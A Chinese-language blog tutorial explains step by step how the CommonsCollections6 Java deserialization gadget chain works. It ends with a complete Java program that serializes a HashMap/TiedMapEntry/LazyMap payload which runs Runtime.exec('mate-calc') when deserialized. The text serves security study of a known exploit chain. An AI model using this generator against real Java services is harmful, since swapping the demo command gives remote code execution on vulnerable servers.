CC6链其实就是URLDNS链的前半加上CC1链的后半。
链子构建
入口类跟CC1链完全一致,这里不再赘述。
在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类。而这里是选择了LazyMap类里的get方法。
1 2 3 4 5 6 7 8
| public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
|
然后继续找哪里调用了get方法。
最终在TiedMapEntry类里找到了它的getValue()方法里调用了get:
1 2 3
| public Object getValue() { return map.get(key); }
|
然后也是这个类的hashCode()方法里调用了它的getValue()方法,这样与前面也串联起来了。
1 2 3 4 5
| public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
直至hashCode前面的部分在URLDNS链中有讲过,这里不再赘述。这里主要研究TiedMapEntry类。
1 2 3 4 5
| public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }
|
它需要的参数很简单,一个map,这里就是我们需要传入的LazyMap,还有一个key,这里用不到可以随便传。
LazyMap里同样有decorate方法,可以修饰map。
1 2 3
| public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
|
我们先new一个LazyMap对象,并把ChainedTransformer传入:
1
| Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
|
然后new一个TiedMapEntry对象
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
|
接下来我们new一个HashMap对象,因为这个类是readObject入口。
1 2
| HashMap<Object,Object> map = new HashMap<>(); map.put(tiedMapEntry,"bbb");
|
问题&解决
那么正常来说,我们直接序列化反序列化就可以了。但是别忘了,我们在URLDNS链里也提到过,如果现在序列化,在put方法里会直接调用hash方法执行整条链子,触发payload,并修改了hashCode值,导致反序列化的时候不会触发payload。
那这里还是老方法,通过反射来修改put里的key,这里就是tiedMapEntry,而tiedMapEntry里放的LazyMap,所以我们只需要把LazyMap里的factory改成空就行了。
1 2 3 4 5 6 7 8
| Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(Runtime.class)); ………… …………
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazymap,chainedTransformer);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(Runtime.class)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map = new HashMap<>(); map.put(tiedMapEntry,"bbb");
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazymap,chainedTransformer);
serialize(map); }
|
但是改成这样还是不能反序列化执行命令。
还记得最开始LazyMap类里的get方法有一个if判断吗?
1 2 3 4 5 6 7 8
| public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
|
这里在序列化的时候,我们确确实实让LazyMap的factory属性是空了,但是,进入这个if后,执行了map.put(key, value);就会让LazyMap的factory属性不是空了。
所以,我们需要手动将LazyMap的factory属性置空,只需要在map.put(tiedMapEntry,”bbb”);后移除key即可:
1 2
| map.put(tiedMapEntry,"bbb"); lazymap.remove("aaa");
|
至此,我们的整条CC6链写完了。
完整CC6链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class CC6TEST { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(Runtime.class)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map = new HashMap<>(); map.put(tiedMapEntry,"bbb"); lazymap.remove("aaa");
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazymap,chainedTransformer);
serialize(map); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } }
|